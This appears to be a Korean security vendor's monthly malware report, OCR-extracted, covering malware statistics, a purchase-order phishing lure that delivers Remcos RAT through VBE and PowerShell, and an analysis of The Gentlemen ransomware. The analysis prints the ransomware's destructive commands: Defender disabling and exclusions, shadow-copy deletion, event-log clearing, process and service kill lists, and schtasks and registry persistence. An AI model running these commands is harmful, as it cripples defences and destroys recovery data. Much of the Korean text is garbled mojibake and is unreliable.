HOIRE 2ILE

o E Vol. 14
2026.07

== OlAX|OIETME(F)



& SGA =ot2o|H 2026.07

SGAHo|O]

SYELIREE

Qi BSHE| SGARIOH|O|CIS CHRRHOA & QIALICE

FR20I& CI2EE
2025.7. SwaetRAT
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2025. 9. Gunra Ransomware
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2025.12 HybridPetaya
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https://viruschaser.com/file/securityfile/10ce3f8e-eeae-4155-8a08-7513a7c43009.pdf
https://viruschaser.com/file/securityfile/48e79c53-3a70-4c8a-8a6a-4d809db06f4d.pdf
https://viruschaser.com/file/securityfile/e7e12cb9-b731-4431-9fde-eae90a4d26cd.pdf
https://viruschaser.com/file/securityfile/99c77e06-b3c8-4383-bb69-92bc3622340f.pdf
https://viruschaser.com/file/securityfile/8f485cba-92c9-478f-ab59-c85bbe0101c6.pdf
https://viruschaser.com/file/securityfile/685325c7-e3e0-4ec1-a34c-4fb1857e9754.pdf
https://viruschaser.com/file/securityfile/2d3bf9f7-0712-4cdb-9f72-1dd004742581.pdf
https://viruschaser.com/file/securityfile/b2374f92-d98e-4fb1-9fde-93ca0cd42862.pdf
https://viruschaser.com/file/securityfile/f7eb7d32-00c4-4e20-98a9-e2f39570a1f3.pdf
https://viruschaser.com/file/securityfile/3193f2d8-0e7d-4c26-985f-9b35c2a7f088.pdf
https://viruschaser.com/file/securityfile/18e037e2-bafd-4126-950f-1575272cdd76.pdf
https://viruschaser.com/file/securityfile/efcdf927-260f-41da-9896-0d1f73af4e12.pdf
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1. 20264 62 512t S&

2026'd 6 2otseS ZAreh 21 AO|H 30| X[EH Q2 S0{Ltn = A= LIEFRLTY.

—
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Hot 7Y *I':'JE“(Symantec)
HHE-0f(Backdoor. TURN)E A

—.— |'|0

I A (DragonForce)7t A&
=2{|0| MHE TSI LY.

=°.=*
<
n
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of S4S X 7| LR 232 AXE ?IZoIACH, 0l=2] ME|A 7[EE
=
o

DARISS WA A TUD 7[3HE SX 23 2fo|=2{2IS HES DLL AIE 2 7|9S
1B ot0] X4 N2 BHEolo] LIS T, X2 BT 4T, wets 78 48 53 433 402
LHERSC,

E5| 2ot =715 FEel5h| ff6h Fefet E2f0IHE fEdt= BYOVD 7[HE gE0t0 §H’—JIOI
QUL EEfO|HE H|RS 22U E ECIO[HZ 9t HEd ofd =210|H Abyss Worker &
BH L SHACE.

A

OB

Hoz HYAAHE o T2 200 o] dict Ao = el LY,

+4& 2I2E 4000LH 0I8S 2AI5] 2td EEE SHiol= 413 =24 A

NI 32| 4 2tRE 4000CH O A2 ZEAAH oY Eeflg SASH= 41Z 24l
Of2| AEBIO{(AryStinger) 7t S AT
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—L— O —_
2 (Bot) 2 HHSI0] AT, IRA| M7, Bzl B2 A% SO| Ciorst ofA $e|S Aaeict,

Ot2|AEI0{(AryStinger)= A=l 7]7|2] DNS A&
77|12 @7t ZE QIHRE 9 OFRHIRES| HES

18X 2 2ate S stolxZstLL
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20264 58 o & St ALEXt PCOIlM BIX|El fEIE= £ 56,6132 Fel=|rCt

71 S| EfX|El AN BE QWL TrojanO| M, Virus, Exploit HEfS| M TFE Q30| O FHE
O|%AC}. 6]l H|s BitCoinMiner, Win32.Induc.A0|| CHeE EFX| H|E0| S7FSHC

+HE O Y2 357AU0(UCH, XEX = AR/ /A oF ZAM =Ql'0| 7+ ROl A e MY
EECE 7|FEACE. 7HY ol =& IY HEY 34 f2 ofd URLO| HEE 5t0|m2 3 HEfQ
1|4 T 0| ALY

6 St SOt ALK} PCO|M EfX|=l T EQ| QWS 2olst At Trojan E!EH-?-l otMIALC T}
34,6207(61.15%) 22 12918 XL Trojan YE{S| A= & Ransomware®| EX|
HIES oiF3| 2etn 520f 0|0 60| = BitcoinMinerZt BHX| E|ACt.

AFECS ATEQ 0L SI=Y0] 2 MS2| B, Eot Fofd S A Z2eE 0|88 3Hdt=
Exploit ZEjS| 2t MACI} 6,64871(11.74%) 22 291E KIXIFC Exploit HE{S| AMHFE

HacktoolQ| EfX| H|Z0| BUC

x| AARE WSS 4 LD, HA ZRIY0 7|40l M|

3,46471(6.11%) 22 39I& AIX|5IX M, Virus HEHS| ot4 3
£OM, Win32.Virtob &8I EE 1FS| BX| =10 QICt,

Virus W
6.1% |
“\ Trojan (34620 7)

Exploit ' Exploit (6648 71)
M.7% I. B Virus (3464 )
B ETC (1285 7)
B Adware (817 7)
TrOjan 61% B Spyware (330 2)
I V/orm (226 £1)
I Backdoor (223 {1)

Virus EjS] M AT}
E92l Induc.AS| EfX| H|E0|

[2026'H 62 RHE EX| S|
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n 2}S3E TOP 10 EXl S|

Gen:Variant Jaik 183534 (1%)
Trojan. GenericKD.4187809 (2%)

Gen:Variant Adware Barys 61515 (2%)

Application.Generic.4163085 (2%)

Win32 Virtob.Gen. 12 (2%)
Gen:Variant Application Tedy 44844 (6%) \\“

bplication. Hacktool KMSActivator. AK. (7%) ‘
100%

Win32.Induc A (12%) Gen:Variant Ransom.795 (63%)

[2026H 62 2P T E TOP 10 EHX| 4]

68 o & S ERIE 2dIEE TOP 10 & AF8A PC2| IS AZ2I5I0| ALEXI7L AFEE = 81A

IS A23E S0IFE TUCR FME 16h= oY 2T EH|0]2] ZTIEFE2! Ransom. 7957t

gdntole] EF 2fo|Ea2|7t HE el = AL MM W4 == EXE & DLL S0l 8j0|2{A BET}
MU0 ofY RIS Sh= AR E TIEHHR! Win32.Induc. A7} 2910] X2] 2
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I 9l Kok XX| 27 (20%)

el He2 287 (7%)

S8 X2 9 53 M (3%)

ZH/RE | (1%)

YR/ B M 2ol (44%)
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0] 15721(43.97%) 22 71% 20| £E (T

STUE YDE B THRZ0| Scriptet 2A THUS 0|8 AFBXIE £0/= HeHo| oy Ego,
HEFHoRE £ YoS S2ITE Yot HERR SHQIECY,
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PURCHASE ORDER 0254/PO-DFP2/V1/2026/TONG HONG ( PROD) - HAIA] (HTML)

fom ), \

@ X | B Bt
=7 WE 8 o= BE O 25 =sAi AR
QY mMYHH | OJSSE XY BF HE M= =4
S5 TEHA HY - AR

PURCHASE ORDER 0254/PO-DFP2/VI/2026/TONG HONG ( PROD)

Nuntana <ayu@solvi.co.id>

)

ﬁ PO0222_DPS2_2026_TongHong_Prod.rar
2o 23k

HEH EA POFEEA(PO) 0222/PO-DPS2AVITONG HONG INDO 2026 & 2I51A| 1 & 2|50 FAI2| S FES-UCE
5

THE|H ol ETD(EE @ Y) S 2HLls] FAIE 2Arstsuct

ZArEYCL

Lte 2t (Nutana)
T0i & & At (Purchasing Staff)

M =2E]

A

20261 62 162 "ayu@solvi.co.id" HAIXIZRE| 20} F24(PO)S Eelsiol ETD(EE W)
S|MS RFSHs LISOR WAKDl 29 AR HILE SIFSID QL

o o=

O|H| o= "PO0222_DPS2_2026_TongHong_Prod.rar” Tt0| MEE|0f /IO, HE =l RAR
= IHY LHRO0l= 7ol =M= @&t ofd VBE THA0| ZetE|0] UL

Al
=
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« PO0222_DPS2_2026_TongHong_Prod.vbe

HEE VBE IS b
PowerShell.exeE

Ping.exe=
HH HESZ S

2 sGA Eetao|H 2026.07

BF Process Tree

Process
[ csrss,exe {572}
Elﬂwinlogon,exe {BEO)
@ fontdrvhostexe (G644}
(] dwm.exe (1088)
() ExplarerEXE (5454)
$ SecurityHealthSystray. exg
vmtoolsd,exe (4568)
BEOUTLOOK.EXE {3392}
[ =lexe (10636)
ProcmonGd,exe (5554)

[[] Only show processes still running at end of current trace

Timelines cover displayed events only

Description Image Path
Client Server R,,,
Windows 211,

Usermode Font,,,
23 & 22lht
windaws SHH 3

Windows Secu,,,
Whiware Tools |,
Microsaft Qutla,,,
Local Artificial 1,,,
Process Monitor

CHEFWIndow s,
CHEFWIndow s,
CHEEWIndow s,
CoWindow s,
CoWindow s,
CoWindow e,
CProgram Fil..,
CH#Program Fil..,
CH#Program Fil,.,
CotUsersiWdm,,,

Life Time Company

Broadcom Inc,

Microzaft Carp.,,
Microzaft Carp.,,
Microsaft Carp.,,

Microzoft Corp..,
Microzoft Corp,,,
Sysinternals -,

Crwner

NT AUTHORITY,,,
NT AUTHORITY,,,
Font Driver Ho,,,
Window Manag,.,
DESKTOP-BASL,,,
DESKTOP-BASL,.,
DESKTOP-BASL,,,
DESKTOP-EASL..,
DESKTOP-6A5L,,,
DESKTOP-6A8L,.,

Com *
WSy
winlc
“font
“dwr
Ry
o
o
tC
N
N

g WScriptexe (T0676)

= % Pingexe {4000}
%Conhost,exe {73640

ngowershell,exe (11450}
[ Conhostexe (116043

Microsoft @ Wi,
TCFPAP Ping 23
2z 3AE
Windows Powe,,,
B B EnE

CoWindows,,
CHEHWIndow s,
CEWIndow s,
CEEWIndow s,
CoWindow s,

Microsoft Corp,,,
Microzoft Corp,,,
Microsoft Corp,,,
Microsaoft Corp,,,
Microzaft Carp..,

DESKTOP-644L,.,
DESKTOP-BASL,,,
DESKTOP-BASL,,,
DESKTOP-BASL,,,
DESKTOP-BASL...

"o
Fing
horr
"iCe
hoaili

MusNotifylcon, exe (SHE)
‘OneDrive.Sync.Service.exe(

MusMatifylcan,,.,
Microzaoft Onel...

< >«

Description:  TCP/IP Ping B8

Company:  Microsoft Corporation

Path: CAWindows'\System32\Ping.exe

Command: [Ping Allum_8888.8888.8888.657¢ |

Usen DESKTOPR-6AILMIV dmkim

PID: 4000 Started:  2026-07-02 2= 4:37:56
Exited: 2026-07-02 2= 4:37:56

Go To Event Include Process Include Subtree

=1 L_l

Ol X A
s T =

N 1PN

CoWindow e,
ClUzerswdm..,

[KFAl T2 M A]

2~ (Allum_8888.8888.8888.657¢)
SX0| ot Ping 21} 2XtE0M EH EXIE

-
M o

Microsaft Carp.,,

DESKTOP-BALL...
DESKTOP-BALL...

Sotz|of o, A Al WScript.exeE S8l Ping.exe %
XAl T2 A AZ AEA|ZICH

ThEy:
U

Close

S QX2 HdE|H,
FEOP| ?let EX= AFEEILH
YOS PHBIT, LI=8} Bl BHOIS eIxtz
SE= oz
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2 seA =oteo|d 2026.07

Powershell Lt=st FE

[Powershell =%t DE)

PowerShell.exes =

= =2 Bl S otE HHOE QXL g2
Base64 C|ZY S

2O FIEHIO} A%E|n, LR oz
! "Neddykke" 7|2 0|28 XOR Q4H2 S8f OIS w3t ot 5 Mseict
=53} €l 2jol= 13 S210|E URLO) F23H0 £

%7} oy T CiRRCsm
Bict.

—

"%APPDATA%\Sundhedsvsenets.Ski"=2 XZ&f

“Sundhedsvsenets.Ski” It S Base64 C|2E St 7, offset 0x244A2 X|Z0{| A
20,526Byte(HHON)E x5
AU

Sto] IEX(Invoke-Expression)E Sdll PowerShell.exe LHE0f|l A &

10

OfIAX|OflOERM=(F)
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ELESS

$ :whitmanesque = $skrappestes.Invoke([IntPtr]::Zero, 374, Bx

3 :sdcellers = $skrappestes.Invoke([ ]::Zero, 8 448, B8x3808, Bx84)

$treetageshusenes: :Copy($Macague, 8, $whitmanesque, 374)

$treetageshusenes: :Copy($Macague, 374, $sdcellers, 14 )]

$ :forkuels % 5 JelegateForFunctionPointer(
(stemmelighe C dow s
(paleichthyology z 1.L 1 ([
)
$forkuelsens.Invoke(

=5

[ 3= H)

AlSisty| /8l PowerShell.exe TE2A|A HZ22| LHOf| RWX R ote| M2 2|E Sekstr),

0|2 "Sundhedsvsenets.Ski" It L HFO|L{2| H|O|E & 374Byte(& 2 =)t 0|
148,268Byte(H|Q! H|O|2E)E 2{2f SAFSICY,

CallWindowProcA &5 AF2610] Hro| IZM|A MM 10| 31X PowerShell.exe LHOI| A £l
FLE A AAHSHH, NtProtectVirtualMemory2S Edi| H|Q! HO|2=9| K2 2| HohS HATH F
HO|Z2EE AT}

O OHE TR, W00

HE 00D GRS ... D026-D415 2., e
ommon Ea¥Micr,. 026-06-78 T, Z06-0T0

PowerShell2 Sdli & =7t A= 0=,
Windows At TZH|AQI backgroundTaskHost.exeS AT}

A E backgroundTaskHost.exe TEM|AL| H|E22| 0| 2fM HO|2ZEE TSI H4f
DTEMAE QTSI oY HRE AT
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e Remcos RAT

2 sGA Eetao|H 2026.07

[ pe
G 832D |G ©
i E-L1 || pe32 EE} ~ | W ANSI [V Unicode | | Null-terminated | |23 | 5 |3| VI RegExp
@ Nauz File Detector (NFD) =
. Numper EES] £ ERIEEIENE
ER] ZF EL] EL ER] LS
) 0006ee£s 00e6£4£e MM (1)... la|a [Remcos Agent initialized (
1 00072£20 00473b20 MM (1) 1d|/a  |Re started by watchdog
00073b3 0047473 MM (1) 08|a |Re:
3 000730 00474808 MM (1) 06 & |Remc
4 000764 004770ec MM (1) 10|A |RemoveDirectoryW
% nERD
' Extractor
pol--L|
F e
& IMAGE_DOS_HEADER
<I> DOS stub
- & IMAGE_NTHEADERS
& IMAGE_FILE_HEADER
- & IMAGE_OPTIONAL_HEADER
IMAGE_DIRECTORY_ENTRIES
= Rich A JLIA
ELL
IT -1 A [|-| E DTS = =S|
BackgroundTaskHost.exe L=k 22|12 HI5te 2X1E 2

=k

o

Pro” S Remcos RAT FEAE0] =l ALY

Remcos RATE= &

ZEE AA=>
e, X4 3 3 %QI ofd AR E AT =+ UACH
¢ HHLA= E=lota HIOIZ2HMI0IM 10 Al &

HIOIZZHMIOIA 10AI = F&R= AI26

L PCi= oFemiR?

K $121.2& VirusChaser 10 Al7} HIE kjch

-_—

7 8o, 7122,

o x

v g2 EE

WHZ || Pz

Z1 "Remcos V", "7.2.5

ofH A, o

1

CI2EESHMIR!

o~
a4 Us

LICE.

£4 VirusChaser 10

:/ o = ~
{ ZI2 VirusChaser 10 AIZ, Ui PCE OFEstA X7 M2 L)

12
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https://viruschaser.com/download/download

Al
—

Sat 29017t 2 E=/of

n JIQ

MED(The Gentlemen) 2HM2|0{= 2025E0] HAMY MY 21502 SF
OEEE MFAIE ZESt= AHIAH 2

Ao = motFICt.

XISHO
U

2 sGA Eetao|H 2026.07

H, 20253
2HA9|01(RaaS, Ransomware as a service)&EHZ Hetoh

O ML 2E2 Microsoft e QIRIZ[MAN|A Storm-26972 2 FXSI1 IO, JHE IHA
Asotet Ao HEY I M7t 7Hsot AtA| M1t 7| 0] EF0]CE

2 20 ASE MES2 2 A=t 2|54, ESXI & §IES CHAO|H, 2t o 2t otof|
Curve25519 7|41 XChaCha20 AEZ! ot A 12|E5E ARSI
20| AFEE HE2 Go 210{(Golang) E W=, Garble =2t 7|#H0| M0 244712
& 2M0] HO|=E L
CI2E GarbleO| MEE|UZ0M T, HEW HMY7F Al Hoi[A 7|5 +HE /et LOL(Living Off
the Land) 340 AtEE|= BHOS2 =AIE GEf2 AEHO| 7tstt Ao = EMEICE
n TR JIS

o HHO| = 9l pE(MY H|ZHS EXY)

« QIE| HIO|HA 27

o K& HAHLIE

o S5 Ry}

o I 23}

TIPNVS([ENPS|

« J|Et 7S MIS

13
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L= M --passwordi= "9VoAVR7G" QIXt €{0|H, Tt LR EXE 2 St=RFE[0 22l A
e 23 BBt o] LIHX] S M52 U=I0HK| 20t FSTH 2 0fof I Lwoh=

S AHGHofof TH| FEN S Fx= US Z2H, 5= 7[S2 37K FHZ 7=t
St
=

1 Usage: %s --password PASS [--path DIR1,DIR2,...] [--T MIN] [--silent] [--wipe] [--keep]
[--full/system/shares/spread] [--fast/superfast/ultrafast]

=1l 4% H|2
--password PASS FZ I{A= T
--path DIRS Lot Y CIEEZ|/CAS, B2 72T =5 MEH
--T MIN AIEF A XA AZHR) MEY
--system SYSTEM #Hete = Al 24 E2j0|HE Yoo} L=
--shares OHEE HEX3 E210|E A ALE 7tsTH UNC(HE B 4]) 3R L=t MEH
--full 2CHA| BFAl: --system + --shares. AMEq
--spread CREDS £ 0|&: "domain.com/user:pass"(AASH) L= "' (AR M|M) -
--silent S22 RE: Yoot 2 IHUH HE EIQJART tHA of of HiZetH 0|4dH M=

S == olxxivloaRM=EF)
—
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4. HBE 24 (3/11)

Z31a
--keep et
--wipe =
--fast I}
--superfast It
--ultrafast ity

OtE| HfO[2{A R3]

. lES LY 23

£ The Gentlemen ransomware.exe
(]

L
ot = Xp7| AfK| o g

ot = gl Z7F I (QtE| ZEA])

U HI 9% A3t
UH3 3% Aot

LHIT% LSt

"The Gentlemen ransomware.exe” - pasi\mr‘d SVOAVRTG --wipe
"C:\Users\Cert-P\D:

2 sGA Eetao|H 2026.07

(R R i el - =
1L A R A |

rx
12

|3 Conhost.exe (4656)
#% powershell.exe (91@8) windows Powershell
¥ powershell.exe (9430) windows Powershell
48 powershell.exe (8460)  |windows PowerShell

% 371%| 71522, 2

25 ¥ =2E

\27\C: \WINDOWS\system32\conhost . exe Bxffffffff -Forcevi

powershell -Conmand "Add-MpPreference -ExclusionProcess” "C:\Users
powershell -Command "Adﬂ—MpPr‘efErEnze -ExclusionPath™ C:\ -Force

[m2S o et 93] Al

e 2tFo 7|2 BME R CIHEHE ez, oield E

A2l S22 Al it
Ms|= I9ld YO Tt 2T

MAIZE2A

Hl g4t

DZNA ML S5

Az Aol 52

H2dof

powershell -Command "Set-MpPreference -
DisableRealtimeMonitoring $true -Force"

powershell -Command "Add-MpPreference -
ExclusionProcess" <2{4 It H=> -Force

powershell -Command "Add-MpPreference -
ExclusionPath" C:\ -Force

15

powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force"
\Desktop\The Gentlemen ransomware\The Gentlemen ransomware.exe” -Force

S T2 MA G

OFE[ HO|21A H|Z0f| Chol 22| Al=E Aol

—

HOIZ AFg 510}

20| A

CL

Windows Defender2| AlA|Zt
DLEE 7|52 Higy%)

ot Il AZE Defender
T2MA N S=02 F7t

C E20|2 ZRE Defender AAt
XMl d22 FIt

=== olAxololERMR(F)
=



7 powershell.exe (B846@)
# vssadmin.exe (8628)
Giwmic.exe (9396)

# wevtutil.exe (8832)
# wevtutil.exe (5800)
# wevtutil.exe (7152)
f%omd.exe (4372)

% omd . exe (7948)

Microsoft(R) =&
Wi FEF REEE
olHE BIYZ fEaE
oHE BESF 2%

oHE BIEZ R
Windows FE 2|7
Windows B Ha7

|
2/l
2/E|

Windows Powershell

2 sGA Eetao|H 2026.07

powershell -Command "Add-MpPreference -ExclusicnPath" C:\ -Force

M=, .. vssadmin delete shadows /all /quiet

wmic shadowcopy delete

wevtutil cl System

wevtutil cl Application

wevtutil cl Security

cmd /C “del /f /q C:\Windows\Prefetch\*.*"

cmd /C “del /f /q C:\ProgramData‘Microsoft\Windows Defender\Supporti*.*"

(

(
e omd.exe (3648)
E% cmd . exe [9648)

ot fost ol

AHEoR =

Windows BE 27
Windows BE 2|7

emd /C "rd fs fq C:\3Recycle.Bin™
ABH &
[220] 53 o]

Hot= AS Kok | 2o, f=? 23

=237 7|52 DI,

O|Z ¢l8l vssadmin, wevtutil S S
HOtO[HIE 21 5l Z2|mfX| ot S =7|

X|2ct.

I
=8 ME SALE AH|

WMI MEE SARE AR

A~ OfHIE 271 A

OHS2(#|0[H OJHIE
20 A

HOHO[HIE 210 Al

Prefetch IH AL

Windows Defender
X 23 A%

RDP 21 mp A

K& AtH|

Jot

vssadmin delete shadows /all /quiet

wmic shadowcopy delete

wevtutil cl System

wevtutil cl Application

wevtutil ¢l Security

cmd /C "del /f /g C:\Windows\Prefetch\*.*"
cmd /C "del /T /g

C:\ProgramData\Microsoft\Windows
Defender\Support\*.*"

cmd /C "del /f
/q %SystemRoot%\System32\LogFiles\RDP*\* *"

cmd /C "rd /s /q C:\$Recycle.Bin"

16

cmd /C "del /f /q HSystemRoot¥\System32\LogFiles\RDP*\*.*"

MEOAM MS3ts AL

CL

BE=EME SAR=
A

£ X&89|

WMIE Sdll M= ZAHE ATK|

System OJHIE 271 x7|3}

Application O|HIE 271 &7|%}

Security O[HIE 21 XT3}

Windows Prefetch Z0 Li
|.OI 7I-I-|| Al'I-”

Windows Defender Support
=0 L b 2P| A

RDP ZH& 21 Ih ZHA| A

SX|E Cl2E2] K7 A

== OlAXI00lERMR(F)



LOMMFE 2M (5/11) £ SGA =eta|ol] 2026.07

TZMA S MH[A 25 S 2

« IZMABE

fomd.exe (9543) Windows FE H27 emd /C "rd /s /q C:\SRecycle.Bin"
# taskkill.exe (7924) Z=2i= =B taskkill /IM wvmms.exe /F

# taskkill.exe (9696) ZeH~ = taskkill /IM wvmwp.exe /F

# taskkill.exe (9948) Z2i~ = taskkill /IM vmcompute.exe /F

& taskkill.exe (18828) Z2Hx E=E taskkill /IM agntsvc.exe /F

& taskkill.exe (leee@) Z2i~ F= taskkill /IM dbeng5@.exe /F

& taskkill.exe (18892) Z=24s =8 taskkill /IM dbsnmp.exe /F

% taskkill.exe (9868) ZeH~ E= taskkill /IM sqlservr.exe /F

# taskkill.exe (9968) Z2ix = taskkill /IM DBeaver.exe /F

# taskkill.exe (9868) Z2H~ E= taskkill /IM Ssms.exe /F

& taskkill.exe (1@112) Z2i~ = taskkill /IM encsvc.exe /F

# taskkill.exe (18184) Z=24s =8 taskkill /IM excel.exe /F

% taskkill.exe (9228) Zei~ = taskkill fIM firefox.exe /F

# taskkill.exe (330@) Z2i= =B taskkill /IM infopath.exe /F

# taskkill.exe (1188) Z2H~ E= taskkill /IM isqlplusswvc.exe /F
& taskkill.exe (9588) Z2i~ = taskkill fIM sql.exe /F

# taskkill.exe (4568) Z2Hx E=E taskkill /IM w3wp.exe /F

# taskkill.exe (9292) Z2i~ F= taskkill /IM sqlbrowser.exe /F
% taskkill.exe (876@) Z=24s =8 taskkill /IM cbService.exe /F

% taskkill.exe (8608) ZeH~ E= taskkill /IM msaccess.exe /F

# taskkill.exe (8588) Z2i~ = taskkill /IM mspub.exe /F

# taskkill.exe (2604) Z2H~ E= taskkill /IM mydesktopgos.exe /F
# taskkill.exe (4584) Z2i~ = taskkill /IM mydesktopservice.exe /F

[ZEAA S 26

2 S8 Z2IH0| IUS RO Yoot diffdt= AS YX[5H| 9f8l, Z2MA S=
2l taskkille] FHO| /IM <Z2M|A> exe [FE AT

2 & 8671X|2 Cl|O|E{H|0| A& 2t24 DB ATt 22| T2 AL, WYY =41 S22 2H T2 AL

1

glservr.exe, Ssms.exe, sqglbrowser.exe, sqlwriter.exe, SQLAGENT.exe, sqlceip.exe, mysqld.exe,
postgres.exe, postmaster.exe, psql.exe, pgAdmin3.exe, pgAdmind.exe, oracle.exe, ocssd.exe,
ocomm.exe, ocautoupds.exe, isqlplussvc.exe, xfssvccon.exe, dbsnmp.exe, agntsvc.exe, encsvc.exe,
synctime.exe, dbeng50.exe, DBeaver.exe, sqgl.exe, mydesktopqos.exe, mydesktopservice.exe,
mvdesktopservice.exe, VeeamNFSSvc.exe, VeeamTransportSvc.exe, VeeamDeploymentSvc.exe,
Veeam.EndPoint.Service.exe, bedbh.exe, vxmon.exe, benetns.exe, bengien.exe, pvisvr.exe,
beserver.exe, raw_agent_svc.exe, vsnapvss.exe, CVMountd.exe, cvd.exe, CVODS.exe, cvfwd.exe,
Iperius.exe, IperiusService.exe, sgbcoreservice.exe, cbService.exe, cbVSCServicell.exe,

© 0 N O o b 0N~/

cbinterface.exe, avagent.exe, avscc.exe, vmms.exe, vmwp.exe, vmcompute.exe, "Docker

—
(@]

Desktop.exe", excel.exe, winword.exe, powerpnt.exe, msaccess.exe, mspub.exe, onenote.exe,
outlook.exe, infopath.exe, visio.exe, wordpad.exe, notepad.exe, thunderbird.exe, tbirdconfig.exe,
thebat.exe, TeamViewer.exe, TeamViewer_Service.exe, tv_w32.exe, tv_x64.exe, SAP.exe,
saphostexec.exe, saposco.exe, QBIDPService.exe, QBDBMgrN.exe, QBCFMonitorService.exe,
firefox.exe, steam.exe, w3wp.exe, DellSystemDetect.exe, CagService.exe, EnterpriseClient.exe

=== olAxololERMR(F)
=
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e NHIASE
& taskkill.exe (9528) Z2) ZE=2 taskkill /IM Veeam.EndPoint.Service.exe /F
® |sc.exe (7948) MH|=~ Hof 32|z 2d sc config vmms start= disabled
Fl % net.exe (7428) Net Command net stop wvmms
# netl.exe (8@986) Net Command C:\WINDOWS\system32\netl stop vmms
& sc.exe (9988) Mdl= Ho 22T 748 EF sc config mepocs start= disabled
E # net.exe (1644) Net Command net stop mepocs
% netl.exe (5852) Net Command C:\WINDOWS\system32\netl stop mepocs
& sc.exe (9968) Mbl= Hof B2 4 =7 sc config memtas start= disabled
Fli# net.exe (106816) Net Command net stop memtas
# netl.exe (9924) Net Command C:\WINDOWS\system32\netl stop memtas
% sc.exe (5444) Mbl= Ho 22T 24 ET sc config veeam start= disabled
= # net.exe (9992) Net Command net stop veeam
% netl.exe (6124) Net Command C:\WINDOWS\system32\netl stop veeam
8 sc.exe (7488) Mdl= Ho #2744 =7 sc config backup start= disabled
B # net.exe (9972) Net Command net stop backup
# netl.exe (9928) Net Command C:\WINDOWS\system32\netl stop backup
& sc.exe (9968) Mdl= Hof #H27 74 =7 sc config wss start= disabled
El % net.exe (9908) Net Command net stop vss
% netl.exe (9868) Net Command C:\WINDOWS\system32\netl stop vss
& sc.exe (9732) Mbl= Ho 22T 74 EF sc config Sql start= disabled
E % net.exe (18184) Net Command net stop Sql
% netl.exe (4832) Net Command C:\WINDOWS\system32inetl stop 5ql
% sc.exe (9776) Mdl= Ho #2774 =7 sc config MSSQL* start= disabled
Fl# net.exe (5288) Net Command net stop MSSOL*

[AH|A E& RE]

QM £3E TRN|A FR9 OFIIXIZ T ot IS 5017| o) AL Lf MHIASS 2R
CHAIZICE,

oM H

O|E Qloh MHIA KMo Z2|Xt 74 =7 (sc.exe)2| config <AH|A HA!S start = disable &M 1t
MH|A 22| REIZ|E| net.exell net stop <AMH|A HAS HHEHE AZSICE

= 707tX| MH|AES B2 A|T5IH, MS SQL Server A|Z1t 7|Et DB AIXl Veeam &3 AH|A,
7hafet 2 MH|A BHA HOtE2 M TIEF S22 =QIEl AH|AE= CHSat 2Lt

Sql, sql, MSSQL, MSSQL*, MSSQLSERVER, MSSQLSQLEXPRESS, SQLSERVERAGENT, SQLWriter,
SQLAgent, SQLEXPRESS, (.*)sql(.*), MySQL, MariaDB, postgresql, OracleServiceORCL, veeam,
VeeamNFSSvc, VeeamDeploymentService, VeeamTransportSvc, BackupExecVSSProvider,
BackupExecAgentAccelerator, BackupExecAgentBrowser, BackupExecDiveciMediaService,
BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService, GxBIr, GxVss,
GxCIMgrS, GxCVD, GxCIMgr, GXMMM, GxVsshWProv, GxFWD, AcronisAgent, AcrSch2Svc, YooBackup,
YoolT, PDVFSService, CASAD2DWebSvc, CAARCUpdateSvc, stc_raw_agent, backup, mepocs, memtas,
vss, VSNAPVSS, svc,vmms,docker,msexchange,MSExchange, WSBExchange,sophos,
RTVscan,DefWatch,ccSetMgr,ccEvtMgr,SavRoam,zhudongfangyu,MVarmor,MVarmor64,SAP,
SAPService, SAP, vmms, docker, msexchange, MSExchange, WSBExchange, sophos, RTVscan,
DefWatch, ccSetMgr, ccEvtMgr, SavRoam, zhudongfangyu, MVarmor, MVarmor64, SAP, SAPService,
SAP,vmms,docker,msexchange, MSExchange, WSBExchange,sophos,RTVscan,DefWatch,ccSetMgr,ccE
vtMgr,SavRoam,zhudongfangyu,MVarmor, MVarmor64,SAP,SAPService, SAP, SAPD$, SAPHostControl,
SAPHostExec, QBCFMonitorService, QBDBMgrN, QBIDPService

© 00 N O o b WN

—
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A& HAHLZ

« K& HAHUS

pd ateSystem /TR "\"C: \Users! \Desktop\The Gentleme

=
e /TN UpdateUser /F
/SC_ONSTART /m up

schtasks /Create
= reg add AKLAN
fiesa 22 =3 reg add HKCU\

\Deskesp\The Gentle
/v Gupdates /t REG SZ /d ©
/v Gupdatel /t REG 57 /d "\"C:\Users

[l HIAHLIE —_r1°._4 ]

r /TR T\TCH\
rsio

HEUW AHAO = 72X = X[&8E =017] floH K& HALIS 7ol L4 F IHK|E AFEelLt.

xtQ] AH|E2](schtasks)2t HIXAEZ| 24 T (reg.exe)S AFRSIH, A|AH AFT @K AXS
M5t 0|52 =2 X|&H S 2Ol
olml, 2t AZ|EH= €2 0|E2E SEE AUS AH| = MdotH, sdiEl= HHS2 L3t
2Lt

T= Haof 49
It AH|EE{(System)  schtasks /Delete /TN UpdateSystem /F UpdateSystem & A7|E2
AFR| ah= AR
A AH|E2{(System)  schtasks /Create /SC ONSTART /TN AAENAIEE Al SYSTEM ot =2
Ay UpdateSystem /TR <2f4 I} 22> /RU SYSTEM  HAUEEE XY S5
e AAEe(User) schtasks /Delete /TN UpdateUser /F UpdateUser 28 A7|1E2 &=
ARR| ALT|

AA|E2(User) schtasks /Create /SC ONSTART /TN UpdateUser  AFEX ZHHO A AJAR] A|ZF A

0= 1A
ox I

/TR <M o A=> %%EIEE A SE
gX[AE2| Run(HKLM)  reg add TIA| A AR H{2] Run 7[0f| Xt&
52 HKLM\SOFTWARE\Microsoft\Windows\CurrentVer Al at=2 52

sion\Run /v GupdateS /t REG_SZ /d <4 o

ZE> /f
gX|AER| Run(HKCU)  reg add ST AFZ2 XL H (2] Run 7|0f| XtE
1 HKCU\SOFTWARE\Microsoft\Windows\CurrentVer

sion\Run /v GupdateU /t REG_SZ /d <2t !

2> /f

== OlAXI00lERMR(F)
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otes) LA M

powershell -N s+=Get-WmiObject -Class ume | Where-Object{$_.Name -like
@ T = SC conflg fdrespub start=
# sc.exe (sazs) A 2g £7 sc start fdrespub
¥ sc.exe (4752) xin" Hoi gz 24 =3 sc config fdPHost start- auto
5 sc.exe (2820) Mol Hoi 2R 34 =3 sc start fdPHost HEg|3 = shas)
¥ sc.exe (7460) HEla Ho A 24 =3 sc config SSDPSRV start= auto
% sc.exe (1568) Mel= Hoi @R 3Y =3 sc start SSDPSRV
1§ sc.exe (9556) Mol Hoi AR 34 E3 sc config upnphost start= aute
% sc.exe (5140) Mol Aot BT 24 =3 sc start upnphost
